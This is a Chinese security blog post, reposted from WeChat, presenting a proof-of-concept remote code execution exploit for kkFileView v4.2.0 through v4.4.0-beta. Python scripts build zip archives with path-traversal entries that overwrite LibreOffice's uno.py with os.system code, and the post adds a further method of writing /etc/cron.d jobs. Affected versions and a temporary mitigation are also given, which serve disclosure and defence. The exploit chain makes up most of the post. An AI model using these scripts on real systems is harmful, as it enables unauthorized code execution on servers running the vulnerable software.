【漏洞速递】kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)

admin 2024年4月17日17:11:35评论184 views字数 2062阅读6分52秒阅读模式

kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)

影响版本

v4.2.0~v4.4.0-beta

v4.2.0~v4.4.0-beta

https://github.com/kekingcn/kkFileView/releases/tag/v4.4.0-beta

此版本为官方源代码最新版

环境部署

本地源码启动或者docker部署

【漏洞速递】kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)

任意文件上传

import zipfileif __name__ == "__main__":    try:        binary1 = b'1ueeeeee'        binary2 = b'hacked_by_1ue'        zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)        info = zipfile.ZipInfo("hack.zip")        zipFile.writestr("test", binary1)        zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/flag", binary2)        zipFile.close()    except IOError as e:        raise e

制作恶意hack.zip,注意里面必须有一个正常文件,例如test,便于创建hack.zip_缓存文件

【漏洞速递】kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)

上传文件并预览

【漏洞速递】kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)

【漏洞速递】kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)

发现成功穿越

RCE

可以任意文件上传,并且可以追加文件内容

经过我研究发现,目标在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以覆盖该py文件的内容

import zipfileif __name__ == "__main__":    try:        binary1 = b'1ue'        binary2 = b'import osrnos.system('touch /tmp/hack_by_1ue')'        zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)        info = zipfile.ZipInfo("hack.zip")        zipFile.writestr("test", binary1)        zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)        zipFile.close()    except IOError as e:        raise e

制作恶意的zip包 上传并预览

【漏洞速递】kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)

再随便上传一个odt文件,另其发起libreoffice任务 上传并预览

【漏洞速递】kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)

可以看到命令成功被执行

【漏洞速递】kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)

uno.py中也确实被写入了内容

【漏洞速递】kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)

增加利用方式

/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。

计划任务是系统的常见功能,利用任务计划功能,可以将任何脚本、程序或文档安排在某个最方便的时间运行。任务计划在每次系统启动的时候启动并在后台运行。在Linux系统中,当我们需要在服务器上定时执行一些重复性的事件时使用的,可以通过Linux计划任务程序来运行准备好的脚本、批处理文件夹、程序或命令,在某个特定的时间运行。

利用/etc/cron.d/xxx.txt定时任务计划,最后上传的时候需要把r去掉,留个n ,才能触发定时任务写入。

【漏洞速递】kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)

【漏洞速递】kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)

【漏洞速递】kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)

补充一下影响版本,v4.2.1 和 v4.2.0 都是影响的

https://github.com/kekingcn/kkFileView/blob/v4.2.1/server/src/main/java/cn/keking/service/CompressFileReader.java#L55https://github.com/kekingcn/kkFileView/blob/v4.2.0/server/src/main/java/cn/keking/service/CompressFileReader.java#L55

【漏洞速递】kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)

4.1.0 就不影响了

https://github.com/kekingcn/kkFileView/blob/v4.1.0/server/src/main/java/cn/keking/service/CompressFileReader.java#L145

之前打攻防审过这个组件,不过那会正值4.1.0版本,4.2.0 版本后,反而不是获取文件名还会把路径给加进去了

临时规避方案

存量受影响的版本建议开启 file.upload.disable=true 参数,禁用首页的上传文件,关闭演示入口来规避问题

【漏洞速递】kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)

参考文章

https://mp.weixin.qq.com/s/FKeboFp4NsnUI66N0QlJ8g

原文始发于微信公众号(利刃信安):【漏洞速递】kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月17日17:11:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞速递】kkFileView-v4.2.0~v4.4.0-beta-RCE-POC(新增利用方式+影响版本+临时规避方案)https://cn-sec.com/archives/2665880.html

发表评论

匿名网友 填写信息